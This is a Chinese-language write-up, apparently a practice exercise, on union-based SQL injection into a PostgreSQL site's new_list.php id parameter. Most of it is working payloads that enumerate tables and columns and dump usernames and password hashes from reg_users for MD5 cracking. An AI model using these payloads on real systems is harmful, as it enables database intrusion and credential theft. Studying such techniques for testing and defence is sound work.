用order by测试字段数
字段为4
测试回显位置 /new_list.php?id=1 and 1=2 union select '1','2','3','4'
暴库 /new_list.php?id=1 and 1=2 union select '1',(select current_database()),'3','4'
爆表 ,这里有两种方法
1.利用PG_STATIO_USER_TABLES表,该表统计当前使用情况统计信息
字段信息如下,我们用到其中的relname
new_list.php?id=1 and 1=2 union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 1
这里原本想要mysql 的 limit (0,1)函数的,但是发觉这里只能 limit 1 offset 1
SQL查询语句中的 limit 与 offset 的区别:
-
limit y
分句表示: 读取 y 条数据 -
limit x, y
分句表示: 跳过 x 条数据,读取 y 条数据 -
limit y offset x
分句表示: 跳过 x 条数据,读取 y 条数据
具体可以参考:https://blog.csdn.net/cnwyt/article/details/81945663,例子很好理解
2.利用 pg_tables 表
new_list.php?id=1 and 1=2 union select '1',tablename,'3','4' from pg_tables where schemaname='public' limit 1 offset 1
爆完表就去爆字段了
new_list.php? id=1and 1=1 union select'1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1
爆出字段是 id,name,password,status
爆字段值 and 1=12 union select null,name||'::'||password,null,null from public.reg_users --
MD5在线解密即可
总结
之前只掌握mysql的语法,害怕换了库就无从下手了。在遇到全新的数据库时,做了几个,发现其实都是有规律可循的。故此在这里记录一下,当找到注入点的时候,基本注入思路是:先了解该类型的数据库的当前库查询语法,还有记录表明字段名的系统表(每种类型的数据库都有一个类似mysql的information_schema库,里面有各种记录操作的表),这样就可以爆出库,表,字段名了。还需要注意一下limit,offset等在各个类型数据库是否可用。最后实在没思路的话可以直接搜索“xxx(例如mysql)注入”,等字样,也会有相关的writeup提供思路。